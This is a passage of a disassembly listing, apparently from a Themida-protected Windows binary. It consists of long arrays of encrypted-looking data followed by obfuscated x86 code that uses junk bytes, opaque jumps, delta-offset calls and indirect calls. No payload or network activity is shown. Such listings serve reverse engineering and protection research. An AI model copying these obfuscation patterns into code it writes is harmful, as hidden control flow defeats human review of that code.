		dd 0ABB192BFh, 0D5A5DB56h, 75753256h, 953FBD8Dh, 0CF9ED9A0h
		dd 3E6BDD72h, 0EC9CFB78h, 103A1122h, 0AA3B3D52h, 2CB13256h
		dd 0EAB126BFh, 0F258CF56h, 4C581827h, 9BE58E24h, 415074D4h
		dd 0FAAD3C07h, 0A7EEB97Fh, 0D5B6B359h, 0E5D13256h, 2FE6C4E9h
		dd 0BEEE1937h, 0D670B936h, 0BA5853AFh, 2B13256h, 557A608Eh
		dd 0F1F0A967h, 2C1034EDh, 0D5963723h, 391D3C77h, 0D6BE37BDh
		dd 0AEB1325Ah, 57B7B559h, 29BE3256h, 0D5B13256h, 0F8DCB855h
		dd 67583459h, 10B13256h, 0C779518Ah, 1E1ACA09h,	29B66C8Dh
		dd 29AE3ED1h, 0C5CEB1B3h, 0F4343D55h, 9CB13256h, 0BAB13258h
		dd 90243817h, 0A1737AC2h, 0A890A108h, 0CBF021EDh, 868F47EFh
		dd 220E3D06h, 89681937h, 0BBB06EDFh, 5DB13EBFh,	0D9EB2A56h
		dd 4BBEC298h, 48061F8Ah, 2A4E8ABDh, 5348CDA9h, 75B13253h
		dd 4F1AC1AAh, 0A24D87BFh, 0A1D0C7A9h, 57B12ADCh, 0ABA2DB56h
		dd 0E76F3256h, 1B67C99Bh, 1F468DE3h, 84F468C0h,	0F26F678Bh
		dd 6C44FBC9h, 24D3246h,	0A45DB9A3h, 0D5B139DFh,	66BE5256h
		dd 75B13256h, 0DBD6F0D6h, 0B44DF6D5h, 0AEB13251h, 44512326h
		dd 0CBA1ABDBh, 0D5A1DA36h, 0E3F53256h, 0C5E3D5F7h, 14D4BDCEh
		dd 0A9F9F4BCh, 21BEEEB6h, 57B13256h, 610E3D08h,	0D5B1DA37h
		dd 6BEB3256h, 6063AEBCh, 0B6383D50h, 52B13256h,	0AEB134D8h
		dd 573D3D56h, 0A4B13256h, 0D5B120DAh, 0EABCDB56h, 379A3256h
		dd 6ED5D6C4h, 0CE428F6Eh, 2576A732h, 422059ECh,	0ABBCDB50h
		dd 74DE3256h, 4731DA9Bh, 0CA654B93h, 4F119E4Ah,	4958FB65h
		dd 0A6B13256h, 5E396B8Ah, 0D440729Bh, 10BB236Ch, 6E599386h
		dd 0F696A9C9h, 3EBE3269h, 5DB1319Ah, 57B6B9A3h,	0BD305436h
		dd 7F31CC9Bh, 0A04E535Ch, 8CD1525Ah, 6146DCD7h,	33D28837h
		dd 0A2D02C2Bh, 25BE3A23h, 57B13257h, 0BA5852AAh, 4DB13256h
		dd 0E23707Dh, 0C889E632h, 2FD5A1A5h, 0B66D0091h, 464D6237h
		dd 57B131FAh, 0ABA5DB36h, 42913256h, 2D8FDD1Eh,	720E203h
		dd 17FA20Bh, 0E0F0E0A6h, 0A958D614h, 5DB13256h,	0D54FDC0Eh
		dd 0DED0056Eh, 0AB343D96h, 9CB13256h, 0BAB1325Ch, 23B85950h
		dd 0F91E3447h, 0DEBEFECEh, 0ABB13276h, 0D5BBDA36h, 12433256h
		dd 56D0A612h, 8E15E9F0h, 5DB8DB0Fh, 0D6073256h,	52153840h
		dd 0CA8AA7E6h, 20D135DDh, 0C858CA37h, 8DB13256h, 0B5A5F5D5h
		dd 5DB133D8h, 9E58CB56h, 0BE4ECDA9h, 0ABB1325Bh, 0DAF77A2Eh
		dd 3FD7244h, 13C87566h,	46F4BBACh, 51C4CDA3h, 78086136h
		dd 8F94169h, 0CA778D59h, 3CB947A9h, 0EAB13244h,	53F7B324h
		dd 4AD4E344h, 0B00D938Ah, 0E0762377h, 604EED07h, 0ABBEDB36h
		dd 35C23256h, 5FE690F3h, 54010393h, 0FA79CB28h,	5DBDDB34h
		dd 695E3256h, 0B9C1DBDAh, 0F469CAF0h, 3DD037C0h, 0EAB13096h
		dd 7A7139A3h, 0BAB135D2h, 0D458CB56h, 5BB13254h, 0A24D77DDh
		dd 29BE356Fh, 0D5B1302Ah, 16F4CDA3h, 75B135BFh,	0CCF9BA56h
		dd 4AC078ABh, 0AEB54DD5h, 578EB659h, 0CDD13256h, 0DE58FCDDh
		dd 12B13256h, 64E1CCDEh, 0EE3AD596h, 0DED080D1h, 0A1B13E29h
		dd 57B112D2h, 0ABBDDB56h, 5B3256h, 400F2980h, 42B96249h
		dd 0EC58C351h, 52B13256h, 0AEB136DDh, 0AE445256h, 544E8A37h
		dd 0D358CDA9h, 4B13256h, 0E44CB533h, 0BAB48B63h, 0DFBE3256h
		dd 0AEB13257h, 57BDDBAEh, 28683256h, 175E4E55h,	0AAFE0E2Ah
		dd 0DE42BE35h, 0BAB0B259h, 0B4443256h, 514ECCAFh, 0E90B5236h
		dd 2AEAB70Ah, 0BDA7B5B7h, 0B3E75314h, 65CEB137h, 31353D53h
		dd 0B4B13256h, 0AEB13258h, 2EF1B70Bh, 51B31AEFh, 0E45B391Ah
		dd 9532E979h, 0F0BE3446h, 0BAB132E5h, 5DA7B959h, 0BF583256h
		dd 1B13256h, 90C2C14Bh,	3EC0C460h, 9D940396h, 53AEE255h
		dd 0AA5873AFh, 0A0B13256h, 109A66Bh, 53F216DFh,	20A5BA88h
		dd 5E50C7D5h, 3D13611h,	75B13258h, 68AE6E4Eh, 0DC0FD290h
		dd 0A0C50D4Ch, 0E0E74E1Fh, 20D06D81h, 0C4583E09h, 12B13256h
		dd 0AEADAE18h, 0F8A853BCh, 79E0577Eh, 0E44F105Dh, 57B031BFh
		dd 0EC3ACA56h, 0D5BADB52h, 36013256h, 0ADB96937h, 0A08697D9h
		dd 51EEB9C3h, 0AEB126BFh, 0EBAF7556h, 3FF86416h, 9DE22C02h
		dd 0E504F30Dh, 0FBEADD5Dh, 0BA0DDBA2h, 51583256h, 20B13256h
		dd 3D57E94Eh, 0EE4A78A9h, 5E37A1A3h, 0FB583611h, 92B13256h
		dd 0BCC49351h, 0E6FE6F1Dh, 0D7007F15h, 0FF543CCEh, 0A4BD6DDDh
		dd 0D5B12CDDh, 0FB585256h, 12B13256h, 0CA5F780h, 9127F61Eh
		dd 52032B67h, 2ADB1EA9h, 0ABB1BB59h, 0FED03256h, 8AD13609h
		dd 0FED75336h, 35BE538Fh, 5DB13250h, 0AEB1BE59h, 0D4D03256h
		dd 21BE37BDh, 0D5B13258h, 0EAB13BBFh, 359C156h,	0AE457E0Bh
		dd 22326991h, 2BBE3146h, 57B13264h, 0ABB123BFh,	9415A456h
		dd 5F2C9349h, 3014E725h, 0F678CDA9h, 0B4D1EC56h, 0AEB13250h
		dd 0DE9007CBh, 430F2200h, 0B4BF0E65h, 0E9313D17h, 15B13256h
		dd 639A53AEh, 5B3B3D36h, 2FB13256h, 900FB087h, 0CA42B928h
		dd 0D4B06EDFh, 0EAB0BD59h, 7A493256h, 0BAB133D5h, 0A209CE56h
		dd 574ECDA9h, 57B48BAEh, 2BBE3256h, 0D5B13255h,	19D0CE36h
		dd 5758CAFDh, 0B54ECDABh, 5DB139D1h, 0AEB7DB56h, 84A13256h
		dd 0BB6ED63Dh, 33A5237h, 0EAB123BFh, 9D1A4256h,	9C8582A8h
		dd 0D74C04F6h, 4B6DE63Eh, 9ED0ACD8h, 0ABB9F0AFh, 0FA0FCB36h
		dd 8BE0496Ch, 69363D03h, 0DAB13256h, 5DB138BFh,	0D35C1256h
		dd 5A2E14EBh, 424BDC6Ah, 0D5B13250h, 5D8AE044h,	9CD071E7h
		dd 0BAB1325Eh, 0E139C4D9h, 2B53B05Ch, 0D449DEDDh, 0BA58CE92h
		dd 0CCB13256h, 0EE085F31h, 8B3A533Ah, 0AF0B1FA7h, 67EAB9FAh
		dd 19BE5236h, 366387AEh, 42B977DDh, 0D5B13258h,	41EC7D59h
		dd 678B0471h, 6DC1DACBh, 0DABE9557h, 0AEB13257h, 5BF409AAh
		dd 0AB85B059h, 0EE443256h, 6DBE2213h, 75B1327Ch, 46F4F5AFh
		dd 5DB13256h, 0AE80DBA3h, 0DCD13256h, 0ABA2DB97h, 9903256h
		dd 86AAFEF6h, 0BF36EE78h, 0D3822277h, 428A88C5h, 0EB7653ADh
		dd 57B133AAh, 713B5256h, 0D5B4DB37h, 0E5D13256h, 14D0C2E1h
		dd 0B61B336h, 3BA7058Eh, 25D0CBDDh, 0A2D1CE13h,	144DE9D7h
		dd 3CD06D4Ah, 0EAB1325Eh
		dd 542E1881h, 0FA2705h,	5DB6DB9Fh, 319D3256h, 0A425FC65h
		dd 0ABBDF00Eh, 5E4967AFh, 2E32CEBAh, 7AD1CEAAh,	0BAB133DFh
		dd 5D59CE56h, 0F4B13256h, 8FBCD8D7h, 0BF583443h, 0C6B13256h
		dd 51D879C4h, 5BF8F83h,	9CA13CCBh, 0FA91EDE2h, 0CE362FD4h
		dd 4358A9E5h, 58B13256h, 0ADD089B3h, 6573FA4Dh,	0E75BC0D9h
		dd 89CB12CAh, 3CF715EDh, 0A17801AFh, 57B133D5h,	7082CA56h
		dd 0D5B138BFh, 9CEE4A56h, 0C1B6365Ch, 0DA006598h, 26EE4EFh
		dd 0CFD1523Eh, 3670B930h, 57ECBB37h, 2DD152AEh,	61D0C737h
		dd 602059ECh, 0B0595250h, 0EFB13256h, 2BE08686h, 9BF97C9Ah
		dd 0F2D05255h, 56D08FE2h, 6EBE3269h, 75B13007h,	0BAA8BD59h
		dd 49583256h, 3CB13256h, 0D41AEBC9h, 24580783h,	0A822687Ah
		dd 8AADE1A5h, 7A36F8B3h, 0BAB13ADFh, 5F343D56h,	0CEB13256h
		dd 0A88EB137h, 0AB9FB759h, 0DE583256h, 0E3B13256h, 0D95CDB25h
		dd 0AF6D96D5h, 9A3269A8h, 523B5242h, 0A814DB37h, 25BECDA9h
		dd 0D5B1325Dh, 0EAB134BFh, 6C358056h, 4FA7EED9h, 5DB54DD5h
		dd 0AEAAB659h, 0D4493256h, 0A4B13E29h, 0D5B122D2h, 8CE25256h
		dd 2C4DD3EEh, 53D091E7h, 5DB1326Bh, 52F4CDAFh, 57B13BBFh
		dd 783656h, 0F4999C45h,	2D320D50h, 2158CA42h, 0B54ECDA9h
		dd 5DB12ED8h, 0BD585256h, 94B13256h, 0FC9926B1h, 76FF3B4Dh
		dd 1E89474Dh, 3F9DEDC6h, 4A3B925Ch, 4DCEB137h, 0C9353D53h
		dd 58B13256h, 0ABB121D4h, 0D5BFDB56h, 0EB753256h, 0CD0CF5C0h
		dd 24D5F408h, 845B3127h, 0AEB0BD59h, 0D4443256h, 0A4B72229h
		dd 0D5B146D3h, 61BE5256h, 75B13250h, 0BAB1BF59h, 0BE0A3256h
		dd 0CF9F7F0Bh, 0DC4473AEh, 24BE3611h, 0D5B13257h, 0E6EEB9AAh
		dd 7564DBAEh, 0B5583256h, 73B13256h, 0BB0D5B44h, 0A9C5DD88h
		dd 19471BF2h, 923A5995h, 61D75252h, 7557B385h, 0DBF496ECh
		dd 3DBD6DDDh, 0C872B936h, 4FF6D0D7h, 6A305437h,	3CD0876Fh
		dd 0EAB132DEh, 2D4D6036h, 0BAB7B659h, 0D7BE3256h, 0AEB13256h
		dd 53F6B937h, 0A7EEB9AAh, 0D5A6BF59h, 0E5D13256h, 75B132D6h
		dd 0BABBDB56h, 19E03256h, 478C0289h, 28D4E491h,	0AFEE1937h
		dd 0D05AB1A3h, 0EAA1B559h, 7E583256h, 50B13256h, 1E7ADF98h
		dd 4AF5FA8Bh, 28325FB0h, 2EBE3146h, 0D5B1327Ah,	0EAA7BC59h
		dd 13D13256h, 68F8C0D7h, 5DB13BBEh, 0CBDEFE56h,	45F3518h
		dd 0CAE8EACEh, 0D5B8DB17h, 0AC233256h, 0AE1DB7A7h, 425AFA0Ch
		dd 5158EB7Dh, 8AB13256h, 1ABB9B27h, 0CE4BC7C4h,	5CF34B7Dh
		dd 3B0330Ah, 75B1325Ah,	712009B2h, 0F82FC261h, 0B8EDF386h
		dd 0A84ECDEEh, 940452A9h, 0B4628559h, 0EAB137EFh, 0F1BE5256h
		dd 0BAB13252h, 0F1D8D30h, 0CF43B930h, 5D5899A5h, 4AB13256h
		dd 252C589Ah, 36E4D9F2h, 8804DB42h, 0B058CDA9h,	0CDB13256h
		dd 79E5E9A0h, 64FE77E3h, 204D5328h, 5DBECE13h, 0EAB13251h
		dd 75B0B559h, 73443256h, 5DB137BFh, 4233256h, 0BE729A8Dh
		dd 0ABB13253h
dword_5B89E0	dd 44676941h		; DATA XREF: Themida_:00551966r
		dd 12E1CB8Eh, 9CE2CB07h, 0BAB13258h, 2E733671h,	465C9F2Eh
		dd 182EAAF6h, 0AB59E33Bh, 8FB13256h, 3188D8D7h,	9C4D3443h
		dd 0BAB13245h, 0F0127A7Dh, 356B45E0h, 0A279C606h, 13FC9A4Eh
		dd 58F22198h, 0FF231ACCh, 74333D50h, 4FB13256h,	5DB156EEh
		dd 0AEA5DB56h, 0C3FA3256h, 82BB5FE8h, 0D4D58DFAh, 0E40A5E60h
		dd 67269870h, 7C5956AEh, 0B4B13253h, 0AEB1325Ch, 0DE8B754Dh
		dd 0FC1A5F8Fh, 0DE3A4052h, 0EAB138BFh, 3067D556h, 0BEBEDA74h
		dd 3D1286BCh, 118C8536h, 156C09C3h, 0ABB6DB37h,	0C3C63256h
		dd 0B3696089h, 0B48A53CAh, 70305436h, 4E586D2Ah, 29B13256h
		dd 17074E0Ah, 0F6BAA7D6h, 41E962D9h, 8D6A85C3h,	9CD07719h
		dd 0BAB132E1h, 5DA3DBAFh, 6CC13256h, 0AEACE6F1h, 3E088EBBh
		dd 9D8737ACh, 50855612h, 9CB57955h, 0BAB13246h,	0ABA5B7BFh
		dd 96AFD9A1h, 5A5F8B81h, 0B2E21743h, 57BEF36Dh,	0EAB13283h
		dd 75B138BFh, 0B338156h, 0E85F9F6h, 0AD6820E8h,	4758221Dh
		dd 1AB13256h, 9FFDB9A9h, 648EA67Ch, 35E4286h, 43F4BC4Ch
		dd 0DFBEF36Dh, 0AEB13265h, 9C305436h, 0AD58C2BCh, 66B13256h
		dd 0BF45A928h, 0F1BE5339h, 0BAB13257h, 5D94DBA3h, 0A1D13256h
		dd 57B130D6h, 0A47BB956h, 0D5B137D2h, 0B0A58D56h, 9CD07208h
		dd 0BAB132C3h, 5DB134BFh, 0DE7D56h, 0BE53B4DAh,	0ABB132D3h
		dd 0D5B0BB59h, 67493256h, 63C5D6CCh, 0AD3D3D50h, 0B4B13256h
		dd 0AEB13244h, 0CBAF15D5h, 21A1505Ah, 60D285FBh, 0F5D2B38Fh
		dd 0A64EC905h, 0BAA2B359h, 53583256h, 0B6B13256h, 3EC4E02Ah
		dd 0C2571A6Bh, 0D1F8D45Eh, 0EA8ADB2Ah, 0FABE3256h, 0BAB1325Bh
		dd 5DB13ABFh, 946B8656h, 990243F8h, 0A12BBF42h,	0B5B7242Eh
		dd 0EAB138BFh, 7D59B756h, 5D3892E9h, 52AA695Ch,	0AEB130DDh
		dd 36EB6356h, 22BEE1A9h, 0D5B13257h, 0B34D69AAh, 843A5436h
		dd 0DB4FB930h, 4D323D0Eh, 47B13256h, 57B1325Dh,	624201E4h
		dd 5A2EEA6Eh, 29DBC7D4h, 75BBBF59h, 31D13256h, 4D78B391h
		dd 0CFA5CA91h, 0E8BE5203h, 723A54A0h, 0DA5DB937h, 0EAB13CDDh
		dd 75B8DB56h, 7893256h,	0C8D5A1A5h, 466D0091h, 57B13256h
		dd 0D95BB30Ch, 0DAB7278Bh, 0EAB133D8h, 6558CA56h, 0B9B13256h
		dd 0D7B95F72h, 0AC94C8E3h, 0DDDC0C83h, 42BBC82Eh, 0D5B13244h
		dd 8908F0CCh, 8AB627C1h, 0A5A40D57h, 92CF4D43h,	0CED178D6h
		dd 0BD77B330h, 113C53FAh, 0D3A4A07Eh, 0E2F4B9AAh, 7AB6BBAEh
		dd 0BAB135DAh, 5C383D56h, 57B13256h, 57B6BF59h,	2ABE3256h
		dd 0D5B13257h, 0E6F4B9AAh, 75A5BC59h, 39BE3256h, 5DB13258h
		dd 0AEB13BBFh, 4B42AA56h, 4C8863D6h, 9238B22Ch,	0EAB7DB52h
		dd 0A2943256h, 96C145CAh, 0A5A177DDh, 57BD75DFh, 0BEA577DDh
		dd 0ABB13253h, 0EF402767h, 0EAB8DBC5h, 765D3256h, 0E2DE5BE1h
		dd 0D49C94CBh, 0BE582211h, 5EB13256h, 0B475DD38h, 1BBE80DCh
		dd 89434C2Eh, 14A9FDD0h, 0BAB13DBFh, 90DCA156h,	12D9900Ah
		dd 4A8C0EBCh, 0C6AFF47Eh, 0C573CE9Fh, 6BD75256h, 15F167B1h
		dd 0BAB122BFh, 0FBBABA56h, 0A0B12E25h, 4037C94Bh, 0E13ACF47h
		dd 0D5BBDB69h, 876A3256h, 3801DFF3h, 394D8406h,	0D6D15337h
		dd 0CF70B999h, 0DCD75236h, 0CA7EB990h, 0D5B121BFh, 0E3BB356h
		dd 0BC65B14Ah, 44BCB38Dh, 25573B55h, 72D6E0F0h,	734CB790h
		dd 42F63459h, 0D5B13245h, 0EDBD1D1Ah, 8F13B41Ah, 4612FBBAh
		dd 0F65C9C28h, 0C67FE081h, 0FFA6414Ch, 70305436h, 0DE581213h
		dd 1CB13256h, 309AB387h, 1EA67173h, 0A2D0B7A6h,	0A19D93E3h
		dd 50585250h, 7CB13256h, 0D8020C95h, 0E758185Eh, 9AB13256h
		dd 0EE453EF8h, 873EC68h, 0CD12E47Bh, 0B034BF37h, 0A4B72024h
		dd 0D5B133D6h, 3A4ECB56h, 75BCB959h, 0DCD13256h, 0B2E4C3D7h
		dd 9F02E5D7h, 5D03F73h,	0ABB126BFh, 0AA508456h,	28E874FCh
		dd 48671D60h, 0D313BDE9h, 0A3D8A63Ah, 0A9313D11h, 58B13256h
		dd 0ABB133D3h, 5F3CCB56h, 0ECA4A1BAh, 2441B936h, 0DBEBC8DDh
		dd 5B585207h, 0B1B13256h, 0EEE86D57h, 0BF0F549Eh, 2A4953A5h
		dd 0EABCDB86h, 2FD83256h, 0C90E63F8h, 2AED4291h, 0CE3D85E6h
		dd 31418D59h, 0F1D0F5DDh, 0D5A1BC59h, 0E1583256h, 0A9B13256h
		dd 2210D219h, 3BADEBB0h, 2C3CA231h, 51A4A1BAh, 0ABBCB159h
		dd 0DD583256h, 74B13256h, 0F500D0E0h, 0B53EE38Ah, 0A4BD72E1h
		dd 22BEEADDh, 57B1325Eh, 0CD4BB936h
		db 0E8h
dword_5B8EA1	dd 59B47BA3h		; DATA XREF: Themida_:0054EE12r
					; Themida_:005A4DF1r
		db 0B9h, 0A7h, 0EAh
		dd 64583256h, 0DEB13256h, 6611F33Ah, 5B5E373Bh,	0EB8D69E3h
		dd 0F4E75C28h, 0D5B6DB04h, 0BCE83256h, 10DF6D36h, 43803D51h
		dd 9EB2C70Ch, 0AEB135BFh, 65EAF156h, 1D2EBB5Eh,	0C134B0DFh
		dd 8B483459h, 75B139BFh, 0AE715A56h, 648A3ED5h,	0D870184Fh
		dd 5C313D95h, 42B13256h, 0D5B13250h, 5357CA22h,	73584ED9h
		dd 70B13256h, 50968FDh,	52F5514Ch, 12E9h, 37646500h, 13836943h
		dd 14BD4BA6h, 62340C6Eh, 0E8027C68h, 0
; ---------------------------------------------------------------------------
		pop	edx
		sub	edx, 615E06Ah
		jmp	loc_5B8F49	; CODE XREF: Themida_:005B8FADj
; ---------------------------------------------------------------------------
		mov	ecx, 47A9E4ADh
		sub	al, dh
		fnstenv	byte ptr [esi]


loc_5B8F49:				; CODE XREF: Themida_:005B8F3Bj
		jbe	loc_5B8F51
		pusha
		popa


loc_5B8F51:				; CODE XREF: Themida_:loc_5B8F49j
		push	edx
		clc
		mov	eax, [edx+60F1485h]
		jmp	loc_5B8F6D
; ---------------------------------------------------------------------------
		dw 27F2h
		dd 0D494C997h, 516B8E68h, 0E5CDCCF2h
; ---------------------------------------------------------------------------
		xchg	eax, ebp


loc_5B8F6D:				; CODE XREF: Themida_:005B8F59j
		mov	ecx, 41C64E6Dh
		jz	loc_5B8F89
		pusha
		jmp	loc_5B8F85
; ---------------------------------------------------------------------------
		imul	ebx, [esi+edx],	0DDFEBFE6h


loc_5B8F85:				; CODE XREF: Themida_:005B8F79j
		mov	ax, di
		popa


loc_5B8F89:				; CODE XREF: Themida_:005B8F72j
		stc
		mul	ecx
		jmp	loc_5B8FA3
; ---------------------------------------------------------------------------
		db 20h,	0A5h, 0E2h
		dd 1044347Eh, 91B0C1DCh, 0A1D80A52h
		db 0E0h, 0C3h, 51h
; ---------------------------------------------------------------------------


loc_5B8FA3:				; CODE XREF: Themida_:005B8F8Cj
		pop	edx
		pusha
		call	near ptr loc_5B8FAF+2
		fcmovnb	st, st
		inc	ecx
		jecxz	short near ptr loc_5B8F3B+1


loc_5B8FAF:				; CODE XREF: Themida_:005B8FA5p
		imul	esp, [ebp+0Fh],	81h
		add	[esi-47h], bl
		xor	eax, edx
		in	eax, dx
		dec	ecx
		popa
		add	eax, 3039h
		pusha
		jz	loc_5B8FD0
		jo	$+6


loc_5B8FD0:				; CODE XREF: Themida_:005B8FC4j
		add	bl, 0D2h
		popa
		and	eax, 7FFFFFFFh
		pusha
		mov	esi, ebx
		jnb	$+6
		popa
		mov	[edx+60F1485h],	eax
		clc
		pusha
		jmp	loc_5B8FFF
; ---------------------------------------------------------------------------
		dd 1B28B887h, 2CC01098h, 0E4250CB5h
		db 0A1h, 34h, 0A1h
; ---------------------------------------------------------------------------


loc_5B8FFF:				; CODE XREF: Themida_:005B8FEBj
		movzx	eax, si
		popa
		pop	edx
		clc
		pop	ecx
		jmp	locret_5B9017
; ---------------------------------------------------------------------------
		db 38h
		dd 7BB8D006h, 95AAEC2Dh
		db 6Dh,	0EFh, 0Dh
; ---------------------------------------------------------------------------

locret_5B9017:				; CODE XREF: Themida_:005B9006j
		retn
; ---------------------------------------------------------------------------
		clc
		push	ecx
		jb	loc_5B9021
		cmc


loc_5B9021:				; CODE XREF: Themida_:005B901Aj
		push	edx
		pusha
		jmp	loc_5B9039
; ---------------------------------------------------------------------------
		dd 2E6D9AC6h, 590E0473h, 1AE799BAh
		db 25h
; ---------------------------------------------------------------------------


loc_5B9035:				; CODE XREF: Themida_:loc_5B9035j
		loop	loc_5B9035
; ---------------------------------------------------------------------------
		db 0Ah
		db 1Ch
; ---------------------------------------------------------------------------


loc_5B9039:				; CODE XREF: Themida_:005B9023j
		mov	si, cx
		popa
		call	$+5
		pop	edx
		sub	edx, 615E178h
		jmp	loc_5B905D
; ---------------------------------------------------------------------------
		dw 22FEh
		dd 0DC3631B3h, 544A9ECFh, 0B8816C24h
; ---------------------------------------------------------------------------
		xchg	eax, edx


loc_5B905D:				; CODE XREF: Themida_:005B9049j
		jmp	loc_5B906E
; ---------------------------------------------------------------------------
		dw 288Eh
		dd 67B21201h, 0A66D42FCh
		db 0FDh, 0BAh
; ---------------------------------------------------------------------------


loc_5B906E:				; CODE XREF: Themida_:loc_5B905Dj
		mov	ecx, eax
		jmp	loc_5B9089
; ---------------------------------------------------------------------------
		db 75h,	4, 98h
		dd 0D07FA7B3h, 0EBBDE01Bh, 0C9FB1E6Ch, 5E581A90h
		db 66h
; ---------------------------------------------------------------------------


loc_5B9089:				; CODE XREF: Themida_:005B9070j
		call	near ptr dword_5B8EA8+6Dh
		pusha
		jmp	loc_5B909E
; ---------------------------------------------------------------------------
		dd 4D0B257Dh, 60D6D809h
		db 0DFh, 3Ch
; ---------------------------------------------------------------------------


loc_5B909E:				; CODE XREF: Themida_:005B908Fj
		sbb	ecx, 7255BB39h
		popa
		xor	edx, edx
		clc
		div	ecx
		jmp	loc_5B90B4
; ---------------------------------------------------------------------------
		db 0CBh	; Ë
		dd 428B7524h
; ---------------------------------------------------------------------------


loc_5B90B4:				; CODE XREF: Themida_:005B90AAj
		mov	eax, edx
		jmp	loc_5B90C5
; ---------------------------------------------------------------------------
		db 75h
		dd 0BA0C54D2h, 0A00166DEh
		db 7Bh
; ---------------------------------------------------------------------------


loc_5B90C5:				; CODE XREF: Themida_:005B90B6j
		pop	edx
		jp	loc_5B90E3
		jmp	loc_5B90E3
; ---------------------------------------------------------------------------
		db 8Ch,	0Fh, 78h
		dd 9BF55D09h, 0CB9D87C5h, 0FA201C93h
		db 0E2h, 0CDh, 2Bh
; ---------------------------------------------------------------------------


loc_5B90E3:				; CODE XREF: Themida_:005B90C6j
					; Themida_:005B90CCj
		pop	ecx
		pusha
		mov	di, 0DBF5h
		mov	bx, 0DFDh
		popa
		jmp	locret_5B90FF
; ---------------------------------------------------------------------------
		pop	es
		add	dword ptr [ecx-1F029B85h], 0F1E8A44Fh
		xchg	eax, edi

locret_5B90FF:				; CODE XREF: Themida_:005B90EEj
		retn
; ---------------------------------------------------------------------------
		jns	loc_5B9112
		jl	loc_5B9112
		jl	$+6


loc_5B9112:				; CODE XREF: Themida_:005B9100j
					; Themida_:005B9106j
		jnb	loc_5B9120
		jle	loc_5B9120
		pusha
		popa


loc_5B9120:				; CODE XREF: Themida_:loc_5B9112j
					; Themida_:005B9118j
		mov	eax, eax
		jmp	loc_5B913B
; ---------------------------------------------------------------------------
		db 0E2h
		dd 0BA5EC4D0h, 0FA2D31D8h, 26968E6Dh, 7CAD41E2h
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		push	es
		das


loc_5B913B:				; CODE XREF: Themida_:005B9122j
		jnb	loc_5B9152
		jmp	loc_5B9152
; ---------------------------------------------------------------------------
		dw 2B49h
		dd 500A5ACDh, 3866570Dh
		db 0CFh, 1Ah
; ---------------------------------------------------------------------------


loc_5B9152:				; CODE XREF: Themida_:loc_5B913Bj
					; Themida_:005B9141j
		mov	eax, eax
		jmp	loc_5B9161
; ---------------------------------------------------------------------------
		db 2Fh,	0BDh, 90h
		dd 0BB90D06Eh
		db 0A2h
; ---------------------------------------------------------------------------


loc_5B9161:				; CODE XREF: Themida_:005B9154j
		jmp	loc_5B9176
; ---------------------------------------------------------------------------
		dw 3B7Dh
		dd 975F9F68h, 7555DA71h, 0E7CD6652h
		db 4Eh,	31h
; ---------------------------------------------------------------------------


loc_5B9176:				; CODE XREF: Themida_:loc_5B9161j
		lea	eax, [ebp+615A90Dh]
		cld
		call	eax
		stc
		mov	ax, cx
		pusha
		mov	bx, di
		popa
		lea	eax, [ebp+615E04Bh]
		cmc
		mov	[ebp+60F184Dh],	eax
		cld
		clc
		lea	eax, [ebp+615E14Fh]
		stc
		mov	[ebp+60F21F1h],	eax
		jo	loc_5B91AB
		clc


loc_5B91AB:				; CODE XREF: Themida_:005B91A4j
		jmp	loc_5B91BF
; ---------------------------------------------------------------------------
		dd 13E9819Fh, 4EEBC7E4h, 0BF724BEDh
		db 6Ah,	0AEh, 21h
; ---------------------------------------------------------------------------


loc_5B91BF:				; CODE XREF: Themida_:loc_5B91ABj
		mov	eax, 0
		cmc
		or	eax, eax
		jz	loc_5B9348
		jb	loc_5B91DB
		pusha
		cmc
		mov	edi, 7020B9E7h
		popa


loc_5B91DB:				; CODE XREF: Themida_:005B91CDj
		mov	byte ptr [ebp+60F24FDh], 56h
		jmp	loc_5B91F3
; ---------------------------------------------------------------------------
		db 1Eh
		dd 0F95D655Ch, 7FE724ADh
; ---------------------------------------------------------------------------
		adc	[ecx-2Dh], al


loc_5B91F3:				; CODE XREF: Themida_:005B91E2j
		push	0A9C530DFh
		jmp	loc_5B9208
; ---------------------------------------------------------------------------
		db 23h,	0Dh, 78h
		dd 7D257737h, 0FF8C3DA5h
; ---------------------------------------------------------------------------


loc_5B9208:				; CODE XREF: Themida_:005B91F8j
		jno	loc_5B922A
		jge	loc_5B922A
		jmp	loc_5B922A
; ---------------------------------------------------------------------------
		db 0AEh, 0E3h, 0D0h
; ---------------------------------------------------------------------------
		mov	edi, 0E380FE38h
		add	byte ptr [ecx],	0A4h
		stosb
		std
		xchg	eax, esi
		retf
; ---------------------------------------------------------------------------
		db 92h,	0F3h
; ---------------------------------------------------------------------------


loc_5B922A:				; CODE XREF: Themida_:loc_5B9208j
					; Themida_:005B920Ej ...
		push	dword ptr [ebp+60F2CA1h]
		pusha
		mov	al, 49h
		call	sub_5B923F
		test	byte ptr [ebp-68503995h], 81h

; =============== S U B	R O U T	I N E =======================================



sub_5B923F	proc near		; CODE XREF: Themida_:005B9233p
		mov	dh, cl
		pop	eax
		popa
		lea	eax, [ebp+61272E7h]
		jmp	loc_5B925E
; ---------------------------------------------------------------------------
		dw 5A60h
		dd 0CDFB0EFh, 8D88BDD7h, 82657B30h
		db 63h,	0D6h
; ---------------------------------------------------------------------------


loc_5B925E:				; CODE XREF: sub_5B923F+Aj
		jmp	loc_5B9271
; ---------------------------------------------------------------------------
		mov	ebp, 202785BAh
		pop	ds
		mov	dh, 0F1h
		xchg	eax, ebp
		retn	0E19Ah
; ---------------------------------------------------------------------------
		sti
		dec	edx


loc_5B9271:				; CODE XREF: sub_5B923F:loc_5B925Ej
		call	eax
		jmp	loc_5B9286
; ---------------------------------------------------------------------------
		dd 0AF5BBE5Ah, 43502012h, 0DA88F490h
; ---------------------------------------------------------------------------
		mov	dh, 46h


loc_5B9286:				; CODE XREF: sub_5B923F+34j
		push	eax
		stc
		lea	ecx, [ebp+60F3405h]
		pusha
		or	al, 0B1h
		mov	bx, 7D45h
		popa
		push	ecx
		jle	loc_5B92B5
		jmp	loc_5B92B5
; ---------------------------------------------------------------------------
		db 8Dh
		dd 0F57B20A3h, 9DFABD69h, 0C1470880h, 0EE1D53E9h
		db 69h
; ---------------------------------------------------------------------------


loc_5B92B5:				; CODE XREF: sub_5B923F+59j
					; sub_5B923F+5Fj
		jmp	loc_5B92CE
; ---------------------------------------------------------------------------
		movsd
		pop	ss
		db	26h
		xchg	eax, ecx
		mov	[ecx+45h], dh
		inc	ebx
		test	dword ptr [esi+6AE6DB18h], 45FB4AFFh
		cmc
